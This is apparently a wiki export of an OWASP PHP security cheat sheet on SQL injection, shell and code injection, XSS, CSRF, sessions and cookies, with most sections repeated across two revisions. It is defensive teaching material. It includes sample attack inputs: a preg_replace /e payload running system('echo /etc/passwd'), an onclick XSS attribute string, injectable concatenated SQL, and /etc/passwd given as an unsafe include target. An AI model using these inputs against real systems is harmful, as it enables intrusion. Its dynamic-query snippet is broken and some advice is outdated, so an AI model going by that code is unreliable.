There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers such always use systems that are secure by default if they take security seriously.

==Other Tips==

* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you're done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2013-12-21T19:52:08Z

Luke Plant: SetHandler/AddHandler warning

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP status on the web==
PHP is the most commonly used server-side programming language and 72% of web servers deploy PHP. PHP is open source. The core of PHP is reasonably secure, but its plugins, libraries and third party tools are often insecure. Also no default security mechanism is included in PHP (there were some in the old days, but they usually broke things).

PHP developers are usually better informed than ASPX or JSP developers on how the web and HTTP works, and that makes for better coding practices, but they both lack basic security knowledge. Other languages have built-in security mechanisms, which is why PHP websites often have more flawed.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., you have to use a '''Secure Encoding''' library, but cannot trust the user. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers such always use systems that are secure by default if they take security seriously.

==Other Tips==

* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
